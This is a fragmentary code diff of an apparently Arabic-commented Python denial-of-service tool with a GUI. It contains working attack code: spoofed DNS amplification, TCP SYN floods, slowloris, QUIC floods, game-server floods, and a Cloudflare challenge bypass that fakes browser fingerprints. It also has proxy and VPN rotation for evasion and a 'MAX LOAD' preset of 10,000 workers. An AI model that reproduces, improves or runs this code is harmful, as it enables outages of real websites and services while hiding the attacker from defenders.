+ UDP(sport=random.randint(1024, 65535), dport=target_port) / \
1677
+ DNS(rd=1, qd=DNSQR(qname=random.choice(domains), qtype="ANY"))
1678
+ send(pkt, verbose=False)
1679
+ sent += 1
1680
  except Exception:
1681
+ pass
1682
+ print(f"[+] DNS Amplification sent {sent} spoofed packets to {target_ip}")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1683
 
1684
  class VPNRotator:
1685
  WARP_CLI_PATHS = [
 
1754
 
1755
 
1756
  def get_playwright_clearance(url: str, identity: SessionIdentity = None) -> dict[str, str]:
1757
+ """
1758
+ حل تحدي Cloudflare باستخدام Playwright مع تقنيات تخفي متقدمة.
1759
+ ترجع كوكيز cf_clearance وUser-Agent المستخدم.
1760
+ """
1761
+ if not PLAYWRIGHT_AVAILABLE:
1762
+ return {}
1763
+
1764
+ # استخدام lock لتجنب تشغيل عدة متصفحات في نفس الوقت (عند استخدام تعدد الخيوط)
1765
+ if not hasattr(get_playwright_clearance, "_lock"):
1766
+ get_playwright_clearance._lock = threading.Lock()
1767
+
1768
+ # قفل لمنع تنافس Playwright على الموارد
1769
+ with get_playwright_clearance._lock:
1770
+ try:
1771
+ from playwright.sync_api import sync_playwright
1772
+ except ImportError:
1773
+ return {}
1774
+
1775
+ result = {}
1776
+ try:
1777
+ with sync_playwright() as p:
1778
+ # إعدادات المتصفح للتخفي
1779
+ browser = p.chromium.launch(
1780
+ headless=True,
1781
+ args=[
1782
+ '--disable-blink-features=AutomationControlled',
1783
+ '--disable-dev-shm-usage',
1784
+ '--no-sandbox',
1785
+ '--disable-setuid-sandbox',
1786
+ '--disable-web-security',
1787
+ '--disable-features=IsolateOrigins,site-per-process',
1788
+ '--disable-sync',
1789
+ '--disable-default-apps',
1790
+ '--disable-extensions',
1791
+ '--disable-component-extensions-with-background-pages',
1792
+ '--disable-client-side-phishing-detection',
1793
+ '--disable-crash-reporter',
1794
+ '--disable-background-timer-throttling',
1795
+ '--disable-backgrounding-occluded-windows',
1796
+ '--disable-renderer-backgrounding',
1797
+ '--disable-field-trial-config',
1798
+ '--disable-ipc-flooding-protection',
1799
+ '--disable-popup-blocking',
1800
+ '--disable-prompt-on-repost',
1801
+ '--disable-hang-monitor',
1802
+ '--disable-back-forward-cache',
1803
+ '--disable-features=BackForwardCache',
1804
+ '--disable-background-networking',
1805
+ '--disable-component-update',
1806
+ '--metrics-recording-only',
1807
+ '--disable-breakpad',
1808
+ '--mute-audio',
1809
+ '--no-default-browser-check',
1810
+ '--no-first-run',
1811
+ '--disable-boot-animation',
1812
+ '--disable-logging',
1813
+ '--remote-debugging-port=0',
1814
+ '--window-size=1920,1080',
1815
+ ]
1816
+ )
1817
+
1818
+ # سياق المتصفح مع إعدادات وكيل (إن وجد)
1819
+ context_options = {
1820
+ 'viewport': {'width': 1920, 'height': 1080},
1821
+ 'user_agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36',
1822
+ 'locale': 'en-US',
1823
+ 'timezone_id': 'America/New_York',
1824
+ 'permissions': ['geolocation'],
1825
+ 'device_scale_factor': 1,
1826
+ 'color_scheme': 'light',
1827
+ 'extra_http_headers': {
1828
+ 'Accept-Language': 'en-US,en;q=0.9',
1829
+ 'Accept-Encoding': 'gzip, deflate, br',
1830
+ 'Sec-Ch-Ua': '"Chromium";v="126", "Not=A?Brand";v="99", "Google Chrome";v="126"',
1831
+ 'Sec-Ch-Ua-Mobile': '?0',
1832
+ 'Sec-Ch-Ua-Platform': '"Windows"',
1833
+ }
1834
+ }
1835
+
1836
+ if identity and getattr(identity, 'proxy', None):
1837
+ context_options['proxy'] = {'server': identity.proxy}
1838
+
1839
+ context = browser.new_context(**context_options)
1840
+
1841
+ # حقن سكربت التخفي الإضافي (لإخفاء webdriver و vm)
1842
+ context.add_init_script("""
1843
+ Object.defineProperty(navigator, 'webdriver', {get: () => undefined});
1844
+ Object.defineProperty(navigator, 'plugins', {get: () => [1,2,3,4,5]});
1845
+ Object.defineProperty(navigator, 'languages', {get: () => ['en-US', 'en']});
1846
+ window.chrome = { runtime: {} };
1847
+ // إخفاء بصمة الـ Virtual Machine
1848
+ const originalGetParameter = WebGLRenderingContext.prototype.getParameter;
1849
+ WebGLRenderingContext.prototype.getParameter = function(parameter) {
1850
+ if (parameter === 37445) return 'Intel Inc.';
1851
+ if (parameter === 37446) return 'Intel Iris OpenGL Engine';
1852
+ if (parameter === 3415) return 'Google Inc. (NVIDIA)';
1853
+ return originalGetParameter(parameter);
1854
+ };
1855
+ // تزويغ Canvas Fingerprint
1856
+ const originalToDataURL = HTMLCanvasElement.prototype.toDataURL;
1857
+ HTMLCanvasElement.prototype.toDataURL = function(type) {
1858
+ if (type === 'image/png') {
1859
+ const context = this.getContext('2d');
1860
+ const imageData = context.getImageData(0, 0, this.width, this.height);
1861
+ for (let i = 0; i < imageData.data.length; i += 4) {
1862
+ imageData.data[i] = Math.min(255, imageData.data[i] + Math.floor(Math.random() * 2));
1863
+ }
1864
+ context.putImageData(imageData, 0, 0);
1865
+ }
1866
+ return originalToDataURL.apply(this, arguments);
1867
+ };
1868
+ """)
1869
+
1870
+ page = context.new_page()
1871
+
1872
+ # محاكاة حركة الفأرة والتمرير
1873
+ page.mouse.move(random.randint(100, 500), random.randint(100, 500))
1874
+ page.mouse.wheel(0, random.randint(100, 300))
1875
+ page.wait_for_timeout(random.randint(500, 1500))
1876
+
1877
+ # تحميل الصفحة (زيادة المهلة لضمان حل التحدي)
1878
+ page.goto(url, wait_until="networkidle", timeout=60000)
1879
+
1880
+ # الانتظار حتى يختفي تحدي Cloudflare (إن وجد)
1881
+ try:
1882
+ page.wait_for_selector("#challenge-running", state="hidden", timeout=30000)
1883
+ except Exception:
1884
+ pass
1885
+
1886
+ # مزيد من التمرير
1887
+ for _ in range(random.randint(2, 5)):
1888
+ page.mouse.wheel(0, random.randint(200, 600))
1889
+ page.wait_for_timeout(random.randint(200, 500))
1890
+
1891
+ # جلب الكوكيز بعد حل التحدي
1892
+ cookies = context.cookies()
1893
+ cookie_dict = {c['name']: c['value'] for c in cookies}
1894
+ ua = context_options['user_agent']
1895
+
1896
+ if 'cf_clearance' in cookie_dict and identity and hasattr(identity, 'cookie_jar'):
1897
+ try:
1898
+ for name, value in cookie_dict.items():
1899
+ cookie = http.cookiejar.Cookie(
1900
+ version=0, name=name, value=value,
1901
+ port=None, port_specified=False,
1902
+ domain='', domain_specified=False, domain_initial_dot=False,
1903
+ path='/', path_specified=True, secure=False,
1904
+ expires=None, discard=True, comment=None, comment_url=None, rest={}
1905
+ )
1906
+ identity.cookie_jar.set_cookie(cookie)
1907
+ except Exception:
1908
+ pass
1909
+
1910
+ browser.close()
1911
+
1912
+ if 'cf_clearance' in cookie_dict:
1913
+ result = {'cookies': cookie_dict, 'ua': ua}
1914
+ else:
1915
+ pass
1916
+
1917
+ except Exception as e:
1918
+ # في حالة الخطأ، نسجل ولكن نستمر
1919
+ print(f"[!] Playwright clearance error: {e}")
1920
+
1921
+ return result
1922
 
1923
  # ============================================================================
1924
  # دوال مساعدة لـ HTTP والهجمات الكلاسيكية
 
2879
 
2880
 
2881
  class EnhancedPlaywrightBypass:
2882
+ """Improved Playwright bypass with human-like interactions."""
2883
+
2884
  @staticmethod
2885
+ def solve_js_challenge(url: str, headless: bool = False) -> dict:
2886
  result = {"headers": {}, "cookie_header": "", "content": ""}
2887
  try:
2888
+ from playwright.sync_api import sync_playwright
2889
+
2890
  with sync_playwright() as p:
2891
+ browser = p.chromium.launch(headless=headless)
2892
+ device = random.choice([
2893
+ p.devices["Desktop Chrome"],
2894
+ p.devices["Desktop Firefox"],
2895
+ p.devices["iPhone 13"],
2896
+ ])
2897
+
2898
+ context = browser.new_context(**device)
 
2899
  page = context.new_page()
2900
+ page.set_viewport_size({"width": random.randint(1366, 1920), "height": random.randint(768, 1080)})
2901
+ page.goto(url, wait_until="networkidle", timeout=30000)
2902
+ time.sleep(random.uniform(1, 3))
2903
+ page.mouse.move(random.randint(100, 500), random.randint(100, 500))
2904
+ time.sleep(random.uniform(0.5, 2))
2905
  try:
2906
+ page.wait_for_selector("[name*='challenge'], [id*='challenge'], [class*='challenge']", timeout=5000)
2907
  except Exception:
2908
  pass
2909
+ time.sleep(random.uniform(2, 5))
2910
+ result["content"] = page.content()
2911
+ result["headers"] = {
2912
+ "User-Agent": device.get("user_agent", random.choice(USER_AGENTS)),
2913
+ "Accept-Language": device.get("locale", "en-US,en;q=0.9"),
2914
+ "Accept": device.get("accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"),
2915
+ "Accept-Encoding": "gzip, deflate, br",
2916
+ "Upgrade-Insecure-Requests": "1",
2917
+ "Sec-CH-UA": device.get("user_agent", "\"Chromium\";v=\"124\""),
2918
+ "Sec-CH-UA-Mobile": device.get("mobile", "?0"),
2919
+ "Sec-CH-UA-Platform": device.get("platform", "Windows"),
2920
+ }
2921
  cookies = context.cookies()
2922
+ if cookies:
2923
+ result["cookie_header"] = "; ".join(f"{c['name']}={c['value']}" for c in cookies if c.get('name') and c.get('value'))
 
 
 
 
 
 
 
2924
  browser.close()
2925
+ except Exception:
2926
+ pass
2927
  return result
2928
 
2929
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
2930
 
2931
  def http_flood(url: str, total_requests: int, workers: int, method: str, payload: str, rate: float, duration: float, extra_headers: bool, use_playwright: bool, keepalive: bool, random_query: bool, app_mode: bool, logger, identity_pool: IdentityPool = None, human_timing: bool = False, use_cffi: bool = False, tcp_spoof: bool = False, ai_payload: bool = False, use_js_bypass: bool = False):
2932
  mode_name = "http-app" if app_mode else "http"
 
3432
 
3433
 
3434
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
3435
  class UltimateIntegratedEngine:
3436
  def __init__(self, target: str, threads: int = 1000, duration: int = 0,
3437
  use_identities: bool = True, use_human_timing: bool = True,
 
3454
  self.max_requests = max(0, total_requests)
3455
  self.max_load = max_load
3456
  self.attack_mode = attack_mode.lower()
 
3457
  self.running = False
3458
  self.stop_requested = False
3459
  self.stats = defaultdict(int)
 
3481
  self.use_cffi = use_cffi and CURL_CFFI_AVAILABLE
3482
  self.use_js_bypass = use_js_bypass and PLAYWRIGHT_AVAILABLE
3483
  self.use_http2 = use_http2
 
 
 
 
 
 
3484
  self.vpn_rotator = None
3485
  if vpn_mode and vpn_mode != "System Default":
3486
  self.vpn_rotator = VPNRotator(vpn_mode=vpn_mode, interval_seconds=300)
 
3531
  timeout = aiohttp.ClientTimeout(total=10, connect=5, sock_read=5)
3532
  self.session = aiohttp.ClientSession(connector=conn, timeout=timeout, trust_env=False)
3533
  if self.use_cffi and CURL_CFFI_AVAILABLE:
3534
+ for _ in range(10): # Create 50 clients to prevent thread bottleneck and reduce latency
3535
+ for imp in ["chrome124", "chrome120", "chrome116", "edge101", "safari17_0"]:
3536
+ self.cffi_clients.append(cffi_requests.AsyncSession(impersonate=imp, verify=False, timeout=8))
 
 
 
 
 
 
3537
  await self._create_httpx_client()
3538
  async def _create_httpx_client(self):
3539
  if not HTTPX_AVAILABLE or not self.use_http2:
 
3548
  self.httpx_client = httpx.AsyncClient(http2=True, limits=limits, timeout=timeout, verify=False, follow_redirects=True, trust_env=False)
3549
  self._log(f"[⚡] HTTP/2 multiplexer: {max_httpx_connections} streams, {max_keepalive} keep-alive.", "INFO")
3550
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
3551
  async def _attack_worker(self, worker_id: int):
3552
+ while self.running and not self.stop_requested:
3553
+ try:
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
3554
  identity = None
3555
  if self.identity_pool:
3556
  identity = self.identity_pool.get_identity()
 
3567
  for h in ["Connection", "Keep-Alive", "Transfer-Encoding", "Host"]:
3568
  headers.pop(h, None)
3569
  headers.update(self._get_platform_headers())
 
 
3570
  if "Host" in headers:
3571
  del headers["Host"]
3572
  if "host" in headers:
 
3580
  target_host = self.host
3581
  target_port = self.port
3582
  if self.attack_mode == "tcp_syn":
3583
+ threading.Thread(target=flooder, args=(target_host, target_port, random._urandom(4096), datetime.datetime.now() + datetime.timedelta(seconds=max(1, self.duration or 10))), daemon=True).start()
 
 
 
 
3584
  elif self.attack_mode == "mine":
3585
  threading.Thread(target=mine, args=(target_host, target_port, b"\x06\x00/\x00\x00\x00\x02\x0c\x00", datetime.datetime.now() + datetime.timedelta(seconds=max(1, self.duration or 10))), daemon=True).start()
3586
  elif self.attack_mode == "vse":
 
3596
  await asyncio.sleep(0.001)
3597
  continue
3598
  path = self.path
3599
+ if self.random_query:
3600
+ if '?' in path:
3601
+ path += f"&_{random.randint(1,999999)}"
3602
+ else:
3603
+ path += f"?_{random.randint(1,999999)}"
3604
  method = self.http_method
3605
  data = None
3606
+ if worker_id % 10 == 0 and random.random() < 0.1 and IS_ADMIN and SCAPY_AVAILABLE:
3607
+ threading.Thread(target=dns_amplification_attack, args=(self.host, 53, 100), daemon=True).start()
3608
+ if self.max_load and worker_id == 0 and random.random() < 0.01:
3609
+ threading.Thread(target=slowloris_attack, args=(self.host, self.port, 30, 2.0, 15.0, None), daemon=True).start()
3610
+ if self.max_load and worker_id == 1 and random.random() < 0.01:
3611
+ asyncio.create_task(quic_flood(self.host, self.port, 20))
3612
+ if self.http_method == "POST":
3613
+ body = AIPayloadGenerator.generate_json_data(random.choice(["login", "comment", "search"]))
3614
+ headers["Content-Type"] = "application/json"
3615
+ data = body.encode('utf-8')
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
3616
  url = f"{self.scheme}://{self.host}{path}"
3617
  if self.use_js_bypass:
3618
  url = add_api_bypass(url)
 
3674
  self.proxy_engine.mark_dead(_raw_proxy)
3675
  continue # retry with different proxy
3676
  break # success or non-proxy 403, don't retry
3677
+ except asyncio.CancelledError:
3678
+ break
3679
+ except Exception as exc:
3680
+ if self.stop_requested:
3681
+ break
3682
+ self._log(f"[!] Worker {worker_id} exception: {exc}", "ERROR")
3683
+ continue
 
 
3684
  async def _handle_response(self, status: int, content_len: int = 0, latency_ms: float = 0.0):
3685
  with self.lock:
3686
  self.stats[f'status_{status}'] += 1
 
3730
  self._log(f"[!] HTTP/2 disabled because requested threads ({self.requested_threads}) exceed 100. Using HTTP/1.1 for stability.", "WARNING")
3731
  self._log(f"🔥 Starting integrated attack on {self.target}", "ATTACK")
3732
  self._log(f"🧵 Threads: {self.threads} | Duration: {self.duration}s", "INFO")
3733
+ workers = [asyncio.create_task(self._attack_worker(i)) for i in range(self.threads)]
 
 
 
 
3734
  self.workers = workers
3735
  self.loop = asyncio.get_running_loop()
3736
  try:
 
3823
  self.use_tcp_spoof = tk.BooleanVar(value=True)
3824
  self.use_ai_payload = tk.BooleanVar(value=True)
3825
  self.use_captcha = tk.BooleanVar(value=True)
 
 
3826
 
3827
  self.use_keepalive = tk.BooleanVar(value=True)
3828
  self.use_http2 = tk.BooleanVar(value=False)
 
3994
  self.auto_btn.pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4)
3995
  self.stop_btn = ttk.Button(control_buttons, text='STOP', command=self.stop_attack, style='Danger.TButton', state=tk.DISABLED)
3996
  self.stop_btn.pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4)
3997
+ self.bypass_btn = ttk.Button(control_buttons, text='JS Bypass OFF', command=self.toggle_bypass, style='Secondary.TButton')
3998
+ self.bypass_btn.pack(side=tk.LEFT, expand=True, fill=tk.X, padx=4)
3999
 
4000
  options_card = ttk.Labelframe(left_panel, text='Quick Options', padding=14, style='Card.TLabelframe')
4001
  options_card.pack(fill=tk.X, expand=False, pady=(12, 0))
 
4007
  ('Human Timing', self.use_human_timing),
4008
  ('TLS Spoof', self.use_cffi),
4009
  ('JS Bypass (API)', self.use_js_bypass),
 
 
4010
  ('TCP Spoof', self.use_tcp_spoof),
4011
  ('AI Payload', self.use_ai_payload),
4012
  ('CAPTCHA', self.use_captcha),
 
4128
  self.log(f"📁 Proxy file loaded: {filename}", "INFO")
4129
  def set_max_load(self):
4130
  self.mode_var.set("Integrated")
4131
+ self.threads.set(10000)
4132
  self.duration.set(0)
4133
+ self.requests.set(50000000)
4134
+ self.method.set("GET")
4135
  self.request_rate.set(0)
4136
  self.vpn_mode.set("System Default")
 
4137
  self.use_identities.set(True)
4138
+ self.use_human_timing.set(False)
4139
  self.use_cffi.set(True)
4140
+ self.use_js_bypass.set(False)
4141
+ self.use_tcp_spoof.set(True)
4142
  self.use_ai_payload.set(True)
4143
  self.use_captcha.set(False)
4144
+
4145
  self.use_keepalive.set(True)
 
 
4146
  self.max_load.set(True)
4147
+ self.use_http2.set(True)
4148
+ self.use_random_query.set(True)
4149
+ self.log("🚀 MAX LOAD ACTIVATED: 10,000 Async Workers, TLS Spoof ON, HTTP/2 ON, Slowloris + QUIC ON.", "SUCCESS")
 
 
 
 
 
 
4150
 
4151
  def _find_executable(self, names, extra_paths=None):
4152
  found = []
 
4843
  use_tcp_spoof=self.use_tcp_spoof.get(),
4844
  use_ai_payload=self.use_ai_payload.get(),
4845
  use_captcha=self.use_captcha.get(),
 
 
4846
 
4847
  keepalive=self.use_keepalive.get(),
4848
  use_http2=self.use_http2.get(),